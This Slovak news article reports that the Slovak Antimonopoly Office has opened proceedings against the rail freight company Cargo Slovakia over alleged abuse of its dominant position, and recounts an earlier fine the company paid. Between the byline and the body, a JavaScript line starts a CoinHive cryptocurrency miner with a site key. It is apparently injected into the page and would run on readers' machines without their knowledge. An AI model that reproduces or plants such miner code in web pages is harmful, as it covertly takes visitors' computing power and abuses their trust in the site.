

## Cargo údajne obmedzovalo prenájom rušňov, hrozí mu pokuta

Napísal Admin

Utorok, 17 Apríl 2012 09:59

---

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqcRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



BRATISLAVA 17. apríla (SITA) - Protimonopolný úrad SR (PMÚ) začal správne konanie voči Železničnej spoločnosti Cargo Slovakia, a.s. pre podozrenie z porušenia zákazu zneužívania dominantného postavenia.

„Predmetom správneho konania je možné obmedzenie prenájmu elektrických rušňov a poskytovania služby tankovania pohonných hmôt do motorových rušňov ostatných železničných nákladných dopravcov pôsobiacich na území SR v rokoch 2005 až 2010. Začatie konania neznamená, že úrad preukázal porušenie zákona podnikateľmi,“ informoval Protimonopolný úrad na vlastnom portáli.

Úrad koná z vlastného podnetu

Protimonopolný úrad začal vyšetrovanie z vlastného podnetu. „Ak sa preukáže porušenie zákona, úrad má zo zákona možnosť uložiť pokutu až do výšky 10% z obratu podnikateľa. Podrobnosti postupu úradu pri výpočte pokút sú upravené v internom dokumente,“ uviedla pre agentúru SITA hovorkyňa PMÚ Alena Sedláková s tým, že ide o metodický pokyn o postupe pri určovaní pokút v prípadoch zneužívania dominantného postavenia a dohôd obmedzujúcich súťaž.

„Ďalšie podrobnosti vzhľadom na to, že konanie sa ešte len začalo a nie je uzatvorené, úrad v tejto fáze neuvádza,“ dodala Sedláková.

Štátny nákladný dopravca potvrdil, že už dostal oznámenie o začatí správneho konania. „Cargo v súčasnej dobe nedisponuje žiadnymi bližšími informáciami týkajúcimi sa uvedeného konania,“ informovala agentúru SITA riaditeľka odboru komunikácie a hovorkyňa Carga Monika Schmidtová.

Podľa PMÚ je v súčasnosti predčasné predvídať dĺžku trvania správneho konania. Lehoty pre vydanie rozhodnutí stanovuje zákon o ochrane hospodárskej súťaže. „Úrad vydá rozhodnutie do šiestich mesiacov odo dňa začatia konania. Predseda úradu môže lehotu na vydanie rozhodnutia v zložitých prípadoch pred jej uplynutím primerane predĺžiť, a to aj opakovane, spolu najviac o 24 mesiacov,“ informovala ďalej Sedláková.

Ak úrad nemôže rozhodnúť do šiestich mesiacov, je povinný o tom účastníka konania s uvedením dôvodov písomne upovedomiť. Ako náhle bude správne konanie ukončené, úrad o tom informuje verejnosť.

Spoločnosť jednu pokutu zaplatila

Cargo zaplatilo 28. januára tohto roka pokutu takmer 2,5 mil. eur za zneužitie dominantného postavenia na trhu v inom prípade. Stalo sa tak potom, čo Najvyšší súd SR začiatkom roka potvrdil pokutu, ktorú PMÚ udelil Cargo ešte v roku 2006.

Pokuta zaplatená štátnou spoločnosťou je príjmom štátneho rozpočtu a jej cieľom je podľa PMÚ potrestať páchatel'ov, nie odškodniť poškodených.

"V tomto prípade šlo o pokutu, teda trest, ktorú orgán verejnej moci uložil páchatel'ovi správneho deliktu za porušenie verejných pravidiel. Nešlo teda o odškodnenie. O odškodnení rozhoduje v súkromnom civilnom konaní len súd. Ak má niekto za to, že bol poškodený konaním iného subjektu, musí sa obrátiť so žalobou o náhradu škody na súd," uviedla Sedláková.

Cargo muselo pokutu zaplatiť za to, že so svojim predchodcom Železničnou spoločnosťou, a.s. zneužilo svoje dominantné postavenie v rokoch 2004 a 2005, čo bolo v rozpore so zákonom o ochrane hospodárskej súťaže.

Podľa PMÚ konanie Carga spočíva v vypovedaní dohôd o cene so zasielateľskými spoločnosťami zabezpečujúcimi nákladnú železničnú prepravu pre spoločnosť Holcim (Slovensko), a.s., malo za následok, že Holcim bol nútený ukončiť spoluprácu s dopravcom LTE Logistik a Transport Slovakia, s. r. o.

Týmto konaním prišlo podľa PMÚ k vylúčeniu podnikateľa LTE z relevantného trhu poskytovania služby železničnej nákladnej prepravy veľkého objemu cementu na železničnej trati Rohožník - Devínska Nová Ves, štátna hranica.

Dôvodom konania Carga podľa úradu bola skutočnosť, že Holcim uzavrel dohodu s konkurenčnou spoločnosťou LTE o zabezpečovaní železničnej prepravy cementu, ktorú predtým zabezpečovalo prostredníctvom zasielateľskej spoločnosti Cargo samotné.